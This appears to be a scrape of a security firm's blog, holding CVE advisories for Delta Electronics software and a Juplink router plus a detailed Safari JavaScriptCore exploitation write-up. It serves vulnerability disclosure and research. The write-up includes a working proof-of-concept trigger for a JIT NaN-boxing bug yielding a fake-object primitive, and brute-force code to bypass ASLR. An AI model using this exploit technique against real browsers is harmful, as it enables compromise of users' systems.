Delta Electronics Delta Industrial Automation DOPSoft DPS File wMailContentLen Buffer Overflow Remote Code Execution

EIP-a31ff40d

A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-a31ff40d
  • MITRE: CVE-2023-43817

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com

Delta Electronics Delta Industrial Automation DOPSoft DPS File wKPFStringLen Buffer Overflow Remote Code Execution

EIP-ba7ef91e

A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-ba7ef91e
  • MITRE: CVE-2023-43816

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline 

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com

Delta Electronics WPLSoft Buffer-Overflow

EIP-b3263b51

A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-b3263b51
  • MITRE: CVE-2023-5130

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:P/A:C
  • CVSSv2 Score: 7.3 

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com

Safari, Hold Still for NaN Minutes!

By Vignesh Rao and Javier Jimenez

Introduction

In October 2023 Vignesh and Javier presented the discovery of a few bugs affecting JavaScriptCore, the JavaScript engine of Safari. The presentation revolved around the idea that browser research is a dynamic area; we presented a story of finding and exploiting three vulnerabilities that led to gaining code execution within Safari’s renderer. This blog post extends into the second vulnerability in more detail: the NaN bug.

At the conference

NaN-boxing

To understand why we gave the name “NaN bug” to this bug, we first need to understand the IEEE754 standard.  We shall also dive into how JSValues are represented in memory by means of a technique called “NaN-boxing”.

IEEE754

JavaScriptCore uses the IEEE Standard for Floating-Point Arithmetic (IEEE754). This standard serves the purpose of representing floating point values in memory. It does so by encoding, for example on a 64-bit value (double-precision floating-point format), data such as the sign, the exponent, and the significand. There are also 16-bit (half-precision) and 32-bit (single-precision) representations that are outside of the scope of this blog post.

SignExponentSignificand
Bit 63Bits 62-52Bits 51-0

Depending on these bits, the calculation for the representation would be as follows.

  • With exponent 0: (-1)**(sign bit) * 2**(1-1023) * 1.significand

  • With exponent other than 0: (-1)**(sign bit) * 2**(exponent-1023) * 0.significand

  • With all bits of exponent set and significand is 0: (-1)**(sign bit)*Infinity

  • With all bits of exponent set and significand not 0: Not a number (NaN)

The reason why 1023 is used on the exponent is because it is encoded using an offset-binary representation which aides in implementing negative numbers with 1023 as the zero offset. In order to understand offset-binary representation, we can picture an example with a 3 digit binary exponent. In this representation it would be possible to encode up to number 7 and the offset would be 4
(2**2). This way we would encode the number 0 as (2**1) in this offset-binary representation and therefore the encoded range would be (-4, 3) corresponding to the binary range of (000, 111).

NaN

If all the bits of the exponent on the IEE754 standard representation are set, it describes a value that is not a number (NaN). These values are described in the standard as a way to establish values that are either undefined or unrepresentable. In addition, there exist Quiet and Signaling NaN values (QNaN, sNaN) which serve the purpose of either notifying of a normal undefined or unrepresentable value or, in the case of a signaling NaN, a representation to add diagnostics info (other data encoded in the payload of the value).

There are 2**51 possible values we can encode in the payload of the NaN number in the double-precision floating-point format. This allows a huge value space for implementers to encode all sorts of information. In hexadecimal, this range would be any values between 0xFFF0000000000000 and 0xFFFFFFFFFFFFFFFF.

Specifically, JavaScriptCore uses NaN values to encode different types of information.

JSValue

Most JavaScript engines choose to represent JavaScript objects in memory in a way that enables efficient handling of the values. JavaScriptCore is no exception, and to do so, it backs up JavaScript objects with the C class JSValue. It is possible to find a detailed explanation on how values in the JavaScript engine are encoded in JavaScriptCore within the file Source/JavaScriptCore/runtime/JSCJSValue.h:

				
					     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
				
			

Raw pointers keep their upper bits (16 most-significant bits) at 0. Other specific values such as Boolean, null and undefined values share the same 0x0000 tag:

				
					     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02
				
			

Doubles start with the upper 16-bit at 0x0002... and end with the upper 16-bit at 0xFFFC.... This is encoded by adding the constant 2**49 (0x0002000000000000) to all double values. After this addition, no double-precision value begins with 0x0000 or 0xFFFE tags. If further manipulation is required, this constant (2**49) should be subtracted before performing operations on double-precision numbers.

Integers have the upper 16-bit set to 0xFFFE..., only using the 32 least-significant bits for the actual integer values.

				
					gef>  r
Starting program: ./jsc 
>>> let obj = {f: 1.1}
undefined

[1]

>>> describe(obj);
"Object: 0x7fb9d34e0000 with butterfly (nil)(base=0xfffffffffffffff8) (Structure 0x7fb9d34d49a0:[0xe8b/3723, Object, (1/2, 0/0){f:0}, NonArray, Proto:0x7fba1501d8e8, Leaf]), StructureID: 3723"

[2]

gef>  x/32gx 0x7fb9d34e0000
0x7fb9d34e0000:	0x0100180000000e8b	0x0000000000000000
0x7fb9d34e0010:	0x3ff399999999999a	0x0000000000000000

[3]

gef>  p/x 0x3ff399999999999a - 0x0002000000000000 # 2**49
$1 = 0x3ff199999999999a
gef➤  p/f 0x3ff199999999999a
$2 = 1.1000000000000001
				
			

After defining an object with a float property f of value 1.1 we use the runtime debugging function describe to obtain the address in memory of the declared object [1]. Note that the object’s butterfly is nil. For other cases, for example arrays, this butterfly pointer would be the elements pointer – for (a lot) more information on these terms refer to this WebKit Blog. By inspecting the aforementioned object address in the debugger, at offset 0x10 the encoded double-precision value is retrieved [2]. By following the previous encoding of subtracting 2**49 from the value [3], the original double-precision value 1.1 is retrieved.

In the source code, there are helper constants to perform such manipulation of integer and double-precision values.

				
					    // This value is 2^49, used to encode doubles such that the encoded value will begin
    // with a 15-bit pattern within the range 0x0002..0xFFFC.
    static constexpr size_t DoubleEncodeOffsetBit = 49;
    static constexpr int64_t DoubleEncodeOffset = 1ll << DoubleEncodeOffsetBit;
    // If all bits in the mask are set, this indicates an integer number,
    // if any but not all are set this value is a double precision number.
    static constexpr int64_t NumberTag = 0xfffe000000000000ll;
				
			

The “NaN-boxing” techniques effectively use the payload in a NaN value to box information within the value itself, hence the name “NaN-boxing”. One of the key points of the vulnerability described within this blog post relies on abusing such encoding techniques. If an attacker were to provide unsanitized double-precision values starting at 0xFFFE..., once the engine tried to encode and store such a value by adding the 2**49 constant, the value would end up as 0xFFFE000000001234 + 2**49 = 0x0000000000001234 as it overflows, resulting in the 0x0000 tag, which corresponds to a raw pointer to 0x1234.

Vulnerability

Optimizing Compilers: DFG & FTL

DFG (Data Flow Graph) and FTL (Faster Than Light) are two of JavaScriptCore’s Just-in-Time (JIT) Optimizing Compilers. In case these concepts are new, reading about them beforehand would make understanding the following vulnerability details easier. JIT compilers have been extensively written about, including on Vignesh’s post on another Safari vulnerability.

Vulnerability Details

The vulnerability that we are going to discuss arises from the manner in which JavaScriptCore’s DFG JIT and FTL JIT optimize and compile fetching an element from a Floating point typed array. For the purpose of this blog post, we will be primarily looking at the DFG JIT code, however this same issue also existed in FTL.

Consider the following JavaScript code.

				
					let float_array = new Float64Array(10) ;
let value = float_array[0];
				
			

In the second line the float_array[0] is fetching an element from the floating point typed array. If such a statement were to be compiled by the DFG compiler, the function in the compiler responsible for converting the DFG IR into native assembly would be SpeculativeJIT::compileGetByValOnFloatTypedArray from the file Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp. Let’s take a look at the this function.

				
					void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
    ASSERT(isFloat(type));
    
    SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
    SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
    StorageOperand storage(this, m_graph.varArgChild(node, 2));
    GPRTemporary scratch(this);
    FPRTemporary result(this);

    GPRReg baseReg = base.gpr();
    GPRReg propertyReg = property.gpr();
    GPRReg storageReg = storage.gpr();
    GPRReg scratchGPR = scratch.gpr();
    FPRReg resultReg = result.fpr();

    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

    emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR);
    switch (elementSize(type)) {
    case 4:
        m_jit.loadFloat(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesFour), resultReg);
        m_jit.convertFloatToDouble(resultReg, resultReg);
        break;
    case 8: {
    
        // [1]
    
        m_jit.loadDouble(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesEight), resultReg);
        break;
    }
    default:
        RELEASE_ASSERT_NOT_REACHED();
    }
    
    // [2]
    
    if (format == DataFormatJS) {
        
        // [3]
        
        m_jit.boxDouble(resultReg, resultRegs);
        jsValueResult(resultRegs, node);
    } else {
        ASSERT(format == DataFormatDouble);
        doubleResult(resultReg, node);
    }
}
				
			

From the code snippet above, we can see that if the element size is 8 bytes, which means that the array we are accessing is a Float64Array and not a Float32Array, then at [1], the element is loaded from an index in the array into a temporary register (resultReg in the above snippet). At [2], the format parameter is checked. This parameter is telling the compiler about the type in which the loaded float is going to be used. If the compiler thinks that the loaded value is going to be used as a float in the future, then there is no need to convert it into a JSValue. In this case, the value of the format variable will be DataFormatDouble. However, if the compiler thinks that the float value that is loaded from the array is going to be used as a JSValue, then it has to convert this float into a JSValue.

As we saw in previous sections, to convert a raw double into a JSValue double, the engine adds 2**49 to the raw double. The code to do this is provided by the boxDouble() function. Therefore, if the value of the format variable is DataFormatJS, then the control reaches [3], where the boxDouble function is called with resultReg as the first argument, which contains the double element that was loaded from the array at [1]. The following listing shows the boxDouble() function.

				
					// File - Source/JavaScriptCore/jit/AssemblyHelpers.h
    void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
    {
        boxDouble(fpr, regs.gpr(), mode);
    }

    GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
    {
    
        // [1]
        
        moveDoubleTo64(fpr, gpr);
        
        // [2]
        
        if (mode == DoNotHaveTagRegisters)
            sub64(TrustedImm64(JSValue::NumberTag), gpr);
        else {
            sub64(GPRInfo::numberTagRegister, gpr);
            jitAssertIsJSDouble(gpr);
        }
        return gpr;
    }
				
			

The double value is moved into a General Purpose Register (gpr) at [1] and then converted into a JSValue at [2]. In order to convert the double to a JSValue, the value JSValue::NumberTag is subtracted from the double value. The JSValue::NumberTag is the constant value 0xfffe000000000000 as can be seen in the Source/JavaScriptCore/runtime/JSCJSValue.h file.

The interesting part to note here is that the result of the subtraction is never checked for an integer overflow. In an ideal case, it should never overflow because in order for it to overflow the 49th bit of the double value should be set which will make it an invalid double or in other words, a NaN value. There can be multiple values for NaN, but JavaScriptCore has one representation for it and uses the value 0x7ff8000000000000, which it calls pureNaN, to represent NaN. Hence, if the argument for the boxDouble function is coming from a previous JSValue then this subtraction can never overflow.

However, if the argument to this function is a raw, user-controlled value, then the subtraction can overflow. For example, if our input to this function (fpr in the above snippet) has the value 0xfffe000012345678, then the subtraction will follow the following course:

				
					gpr = fpr                             // [1] from the above snippet
gpr = gpr - JSValue::NumberTag;       // [2] from the above snippet  
=> gpr = 0xfffe000012345678 - 0xfffe000000000000;
=> gpr = 0xfffe000012345678 + 0x0002000000000000; // taking 2's complement
=> gpr = 0x0000000012345678; // overflow happens and the top bit is discarded
				
			

As we can see, subtraction with  0xfffe000000000000 is same as addition with 2**49. In the end, the gpr ends up as a fully controlled value with all the top bits unset. However, as we discussed in the NaN-Boxing section, a JSValue with all the top bits unset represents a JSObject pointer. Therefore if we manage to control the first argument, fpr, then we can craft a pointer and get JSC into believing that this is a valid pointer to a JSObject. This works because when DFG emits the code to load a value from a Float64Array, which holds raw doubles, it never checks if the double is an “impure NaN” or in other words, if the double is a NaN value but not the pure NaN value of 0x7ff8000000000000. Due to this we can point to anywhere in memory and the engine will read such a pointer as a JS object. Effectively resulting in a straight fakeobj primitive from this bug.

Path to trigger the bug

Now that we see what the bug is, let’s take a look at how it can be reached from JavaScript. In order to hit the bug, we will need to make use of the for…in enumeration in JavaScript.

Take a look at the following code that shows a JS for-in loop, which will enumerate all the property names of the obj object.

				
					obj = {x:1, y:1}
function forin(arg) {
    for (let i in obj) {
    
        // [1]
        let out = arg[i];
    }
}
				
			

At [1], the value of the currently enumerated property name (i variable in the snippet) is fetched from the arg object. When the code is being JIT compiled, [1] will be represented by the DFG IR opcode EnumeratorGetByVal. When this opcode is compiled into assembly code in the DFG JIT compiler, it reaches the following piece of code.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
    case EnumeratorGetByVal: {
        compileEnumeratorGetByVal(node);
        break;
    }
				
			

As we can see, this is just calling the compileEnumeratorGetByVal() function which contains the logic to convert this opcode into native assembly. Let’s look at the definition of this function.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
    Edge baseEdge = m_graph.varArgChild(node, 0);
    auto generate = [&] (JSValueRegs baseRegs) {

[TRUNCATED]

[1]

        compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {
        
[TRUNCATED]

            notFastNamedCases.link(&m_jit);
            
[2]
            return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
        }));
        
[TRUNCATED]
    };

    if (isCell(baseEdge.useKind())) {
        // Use manual operand speculation since Fixup may have picked a UseKind more restrictive than CellUse.
        SpeculateCellOperand base(this, baseEdge, ManualOperandSpeculation);
        speculate(node, baseEdge);
        generate(JSValueRegs::payloadOnly(base.gpr()));
    } else {
        JSValueOperand base(this, baseEdge);
        generate(base.regs());
    }
				
			

The compileEnumeratorGetByVal() calls the generate() closure. This closure calls the compileGetByVal() function at [1]. This function
is responsible for handling the compilation of all indexed accesses from all types of arrays. The compileEnumeratorGetByVal() calls this function informing it to handle all the indexed accesses in the enumerator loop. This is done using the lambda function that is passed as an argument to compileGetByVal(). At [2], the lambda returns a tuple, the first value being the register where the current value of the indexed load is to be stored and the second value being the format in which it should be stored. As we can see, the second value is always a constant – DataFormatJS – informing that the loaded value is always to be stored in the JSValue format.

In case arg in the JS snippet above is the floating point typed array Float64Array, then the following parts of the compileGetByVal() function will be executed:

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
    switch (node->arrayMode().type()) {

// [TRUNCATED]

// [1]

    case Array::Float32Array:
    case Array::Float64Array: {
        TypedArrayType type = node->arrayMode().typedArrayType();
        if (isInt(type))
            compileGetByValOnIntTypedArray(node, type, prefix);
        else
        
// [2]
        
            compileGetByValOnFloatTypedArray(node, type, prefix);
    } }
}
				
			

If the array that is being accessed is a Float64Array array, then the function that is called is compileGetByValOnFloatTypedArray(), which is the vulnerable function. The next important point is that the compileEnumeratorGetByVal() function is saying that the result of the element fetch is to be stored in the JSValue format using the return value of the lambda that we saw above. In this manner, our vulnerable function is called with a Floating Point Typed Array that we control, and with the compiler being told that the value being fetched is to be converted from a raw double to a JSValue double. Keep in mind that the values in Floating Point Typed arrays can be made into “impure NaN” values by changing the underlying array buffer contents using a typed array of another type as shown below:

				
					let abuf       = new ArrayBuffer(0x10);
let bigint_buf = new BigUint64Array(abuf);
let float_buf  = new Float64Array(abuf);

bigint_buf[0] = 0xfffe_0000_0000_0000;
				
			

After the above snippet is run, the raw float in float_buf[0] will be 0xfffe_0000_0000_0000. Using this value we can trigger the bug to trick the JS engine to think that an arbitrary number is a pointer to a JSObject.

In summary, the boxDouble() function assumes that the double value that is passed to it as an argument is a valid double value or a “pure NaN” (0x7ff8000000000000) and has no checks to verify that the result did not overflow. Hence, it is the job of the caller to ensure this condition is satisfied before calling this function. If there is a call site that does not respect this and directly calls this function with a raw user controlled double value, then the attacker can gain full control of a JSValue and fake a pointer to a JSObject by using the overflow to build a very powerful fakeobj primitive.

The compileGetByValOnFloatTypedArray() function does not check that the raw double fetched from a Float64Array is indeed a valid float or not. It just blindly passes it to the boxDouble() function at [3] which makes this vulnerable to the technique described above. If an attacker can trigger this code path, it is possible to achieve the fake object primitive as shown above.

Triggering the Bug

Finally let’s look at the full JavaScript trigger for this bug:

				
					let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {x:1234, y:1234};

function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
noInline(trigger)

function main() {

    t = {x: {}};
    trigger(obj, t);

// [1]
    for (let i = 0 ; i < 0x1000; i++) {
      trigger(fbuf,t);
    }

// [2]
    bbuf[0] = 0xfffe0000_12345678n;
    trigger(fbuf, t);
    
// [3]    
    t.x;
}

main()
				
			

In the above PoC, the trigger() function is the one that will trigger the vulnerability. At [1] we call the trigger() function in a loop with a  Float64Array that contains a normal benign float – that is no impure NaNs. This is done to train the compiler into emitting the code we want. After this, at [2], we use a BigUint64Array to change the first element of the Float64Array to an impure NaN. Then we call the trigger() function again. This time the bug will trigger and the engine will think that 0x12345678 is a pointer to a valid JSObject. This JSValue is stored in t.x and when we return from the function, we access t.x at [3]. This causes the engine to dereference the pointer which obviously points to an invalid address and crashes the engine while accessing 0x12345678.

Bypassing ASLR

While we have a fakeobj primitive from the bug, we still are constrained by the fact that we don’t have an ASLR bypass and hence can’t fake anything without crashing the engine. However, when we were researching a different case on JSC, we saw some interesting DFG IR.

CompareStrictEq opcode and assembly - type checking

The image shows the assembly that is emitted by the CompareStrictEq IR opcode, which is used to denote JavaScript’s Strict Equality operation in DFG IR. In this case, the LHS (Left Hand Side) D@27 is being compared against the RHS (Right Hand Side) D@34. From the above image, we see that the LHS is not typed – which means that the DFG JIT compiler did not make any assumptions on its type. We can also see that the RHS is typed to Object. This means that the compiler assumes that in this case, the RHS of the === operation is assumed to be a Javascript object by the compiler and it has to verify that this assumption holds. Again, from the image we can see that the compiler has indeed emitted checks to make sure that the type of RHS is checked.

After the type of the RHS is checked, we can see the actual logic for comparing LHS and RHS as in the image below. The code simply compares LHS and RHS with the x86 cmp instruction (this code was generated on an x86-64 Linux machine). This means that in case LHS is not a valid pointer it can still get checked against the pointer to a valid object. Also the return value of this can be read in JavaScript. Therefore we can compare an invalid pointer with a valid pointer and check to see if they are equal without triggering any crash or abnormal behaviour. These are the perfect ingredients for brute-forcing an address! We can use our fakeobj primitive from the NaN bug to get the engine into believing that arbitrary numbers that we control are actually pointers. Then we can compare this fake invalid pointer against a valid one. If the result is true, then we just correctly guessed the address of the valid pointer. Else we update the invalid pointer to a new value and then rinse and repeat the procedure.

CompareStrictEq - pointer comparison

In this way we have a mechanism to use the bug to brute force and find the address of an object pointer in memory. While this technique works, it is also extremely slow taking more than an hour to brute force 32-bits on an M1 mac. Hence its necessary to
improve it to get it to run faster.

Optimizing the Brute Force

Initially we were brute forcing the pointer with something like this:

				
					let object_to_leak = {p1: 0x1337, p2: 0x1337};

for (let i=0n; i<0xffff_ffffn; i+=1n) {
    let fake_pointer = fakeobj(i);
    let result = brute_force(fake_pointer, object_to_leak);
    
    if (result) {
        print('Found the address at: '+ hex(i));
        break;
    }
}
				
			

The first issue with the above is that the address is incremented by one on each loop iteration in the brute force loop. It’s given that the address of any object will be aligned to a multiple of 8. Hence, instead of single stepping in the for loop, an addition of 8 can be done to the loop variable after each iteration. This will give a significant 8x speed up over the original PoC without making any additions assumptions. However, this is still too slow for a browser exploit especially seeing that the iOS and MacOS architectures have 64-bit pointers and not 32-bit.

We observed that on MacOS and iOS the JavaScriptCore heap addresses were always 5 bytes (40 bits) long. Another observation was that, if the exploit is run on a JS worker, and an object is created at the very beginning of the exploit, then the address of the object was always page aligned which means that the last 12 bits of the address of the object were always zero. Using these observations can greatly speed up the brute force as now the object whose address is to be leaked, can be created at the beginning of the exploit before any other object has been initialized, and then, in the brute force loop, the loop variable can be stepped over by 0x1000 instead of 1 or 8 giving a 4096x speed up over the original PoC. This is a huge speed up and now a 5-byte address can be brute forced in seconds.

Summary

The bug we discussed arose from the fact that DFG and FTL loaded a raw double from a typed array and proceeded to convert it into a JSValue double without verifying that the raw double was indeed a valid double or a pure NaN. This led us to achieve a fakeobj primitive whereby we could get the engine to think that any address we wanted is a pointer to a JSObject. After that we used JIT compiled code to brute force ASLR, using the fakeobj primitive, to leak the address of an object. This could be turned into a full addrof primitive, which can leak the address of any JSObject. Using a fakeobj and an addrof primitive, it is possible to achieve arbitrary read/write in the Safari renderer process.

Conclusion

The vulnerabilities discussed in this blog post and the referenced conference talk were introduced due to Apple performing large code commmits in the JavaScriptCore repository, specifically to optimize the for-in functionality of JavaScript. Browsers are ever-evolving large pieces of software, with many modules being added and stripped continually. Smart fuzzing and source-code audits are gradually being adoped into the software development lifecycle at large vendors, but they haven’t yet caught up to the offensive research industry.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.

Juplink RX4-1500 Hard-coded Credential Vulnerability

EIP-6a41336a

Hard coded credentials exists in Juplink RX4-1500, a WiFi router. An unauthenticated attacker can exploit this vulnerability to log into the web interface or telnet service as the ‘user’ user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-6a41336a
  • MITRE: CVE-2023-41030

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 5.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Juplink RX4-1500 Command Injection Vulnerability

EIP-9f56ea7e

A command injection exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9f56ea7e
  • MITRE: CVE-2023-41029

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Juplink RX4-1500 homemng Command Injection Vulnerability

EIP-57838768

A command injection vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-57838768
  • MITRE: CVE-2023-41031

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Juplink RX4-1500 Credential Disclosure Vulnerability

EIP-3fd79566

A credential disclosure vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-3fd79566
  • MITRE: CVE-2023-41027

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Juplink RX4-1500 Stack-based Buffer Overflow Vulnerability

EIP-b5185f25

A stack-based buffer overflow exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-b5185f25
  • MITRE: CVE-2023-41028

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: August 21, 2021
  • Disclosed to public: August 23, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0day and Nday can work with us through our Research Sponsorship Program (RSP).

Shifting boundaries: Exploiting an Integer Overflow in Apple Safari

By Vignesh Rao

Overview

In this blog post, we describe a method to exploit an integer overflow in Apple WebKit due to a vulnerability resulting from incorrect range computations when optimizing Javascript code. This research was conducted along with Martin Saar in 2020.

We show how to convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap. We then show how to use the out-of-bounds read/write to create addrof and fakeobj primitives

Table of Contents

Introduction

Heavy JavaScript use is common in modern web applications, which can quickly bog down performance. To tackle this issue, most web browser engines have added a Just-In-Time (JIT) compiler to compile hot (i.e. heavily used) JavaScript code to assembly. The JIT compiler relies on information collected by the interpreter when running JavaScript code.

The three most common browser vendors have at least two JIT compilers, one of them being a non-optimizing baseline compiler performing little to no optimization and the other being an optimizing compiler applying heavy optimization to the JavaScript code during compilation.

The WebKit browser engine, used by the Safari browser, has three JIT compilers, namely the baseline compiler, the DFG (Data Flow Graph) compiler, and the FTL (Faster Than Light) compiler. The DFG and FTL are optimizing compilers that operate on special intermediate representations of the target JavaScript source. For this post, we will be focusing on the FTL JIT compiler.

From the post Speculation in JavaScript:

The FTL JIT, or faster than light JIT, which does comprehensive compiler optimizations. It’s designed for peak throughput. The FTL never compromises on throughput to improve compile times. This JIT reuses most of the DFG JIT’s optimizations and adds lots more. The FTL JIT uses multiple IRs (DFG IR, DFG SSA IR, B3 IR, and Assembly IR).

The above-linked article, written by a WebKit developer, describes clearly various JIT concepts in JavaScriptCore, the JavaScript engine within WebKit. Its length is more than matched by the insight it provides.

Pre-requisites

Before diving into the vulnerability details, we will cover a few concepts required to understand the vulnerability better. If you are already familiar with these, feel free to skip this section.

Tiers of Execution in JSC

As mentioned before, all modern browsers have at least 2 tiers of execution – the interpreter and the JIT compiler. Each tier operates on a specific representation of the code. For example, the interpreter works with the bytecode, while the JIT compilers typically work with a lower-level intermediate representation. The following are the tiers of execution in JavaScriptCore:

  • The Low Level Interpreter (LLINT): This is the first tier of execution in the engine operating on the bytecode directly. LLINT is unique as it is written in a custom assembly language called “offlineasm”. This is the slowest tier of execution but accounts for all possible cases that can arise.
  • The Baseline JIT: This is the second tier of execution. It is a template JIT compiler that compiles the bytecode into native assembly without many optimizations. It is faster than the interpreter but slower than other JIT tiers due to a lack of optimizations.
  • The Data Flow Graph (DFG) JIT: This is the third tier of execution. It lowers the bytecode into an intermediate representation called DFG IR. It then uses this IR to perform optimizations. The goal of the DFG JIT is to balance compilation time with the performance of the generated native code. Hence while performing important optimizations, it skips most other optimizations to generate code quickly.
  • The Faster Than Light (FTL) JIT: This is the fourth tier of execution and operates on the DFG IR as well as other IRs called the B3 IR and AIR. The goal of this compiler is to generate code that runs extremely fast while compromising on the speed of compilation. It first optimizes the DFG IR and then lowers it into B3 IR for more optimizations. Next, FTL lowers B3 IR into AIR which is then used to generate the native code.

The following figure highlights the tiers of execution with the code representation they use.

JavaScriptCore Tiers and Code Representations

B3 Strength Reduction Phase

